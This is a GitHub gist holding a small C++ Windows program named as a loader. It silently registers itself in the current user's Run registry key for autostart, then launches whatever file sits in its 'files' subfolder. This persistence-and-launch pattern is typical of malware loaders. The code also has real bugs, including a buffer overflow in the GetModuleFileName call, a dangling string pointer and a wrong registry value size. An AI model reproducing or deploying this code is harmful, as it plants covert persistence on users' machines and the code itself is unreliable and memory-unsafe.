Skip to content

Instantly share code, notes, and snippets.

@habibg1232191
Last active October 23, 2021 18:23
Show Gist options
  • Save habibg1232191/f01b26a5367ff486f9a4c4c6379f3f47 to your computer and use it in GitHub Desktop.
Save habibg1232191/f01b26a5367ff486f9a4c4c6379f3f47 to your computer and use it in GitHub Desktop.
#ifndef UNICODE
#define UNICODE
#endif
#include <windows.h>
#include <string>
#include <iostream>
#include <filesystem>
std::wstring ExePath() {
TCHAR buffer[MAX_PATH] = { 0 };
GetModuleFileName(NULL, buffer, MAX_PATH);
std::wstring::size_type pos = std::wstring(buffer).find_last_of(L"\\/");
return std::wstring(buffer).substr(0, pos);
}
LPCWSTR castToLpswstr(std::string str) {
return (std::wstring(str.begin(), str.end())).c_str();
}
std::string castToStr(const std::wstring ws) {
return std::string(ws.begin(), ws.end());
}
void AutoRun()
{
char arr[MAX_PATH] = { };
GetModuleFileName(NULL, (LPWSTR)arr, MAX_PATH);
HKEY hKey;
if (RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_SUCCESS)
{
if (RegSetValueEx(hKey, L"Loader", NULL, REG_SZ, (LPBYTE)arr, sizeof(arr) + 1) == ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
return;
}
}
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
AutoRun();
std::wstring filePath = ExePath() + L"\\files\\";
std::wstring fileName;
WIN32_FIND_DATA data;
HANDLE hFind = FindFirstFile((filePath + L"*").c_str(), &data);
if (hFind != INVALID_HANDLE_VALUE) {
do {
fileName = data.cFileName;
} while (FindNextFile(hFind, &data));
FindClose(hFind);
}
STARTUPINFO cif;
ZeroMemory(&cif, sizeof(STARTUPINFO));
PROCESS_INFORMATION pi;
HANDLE hProcess = nullptr;
if (CreateProcessW((filePath + data.cFileName).c_str(), NULL,
NULL, NULL, FALSE, NULL, NULL, filePath.c_str(), &cif, &pi) == TRUE)
{
hProcess = pi.hProcess;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment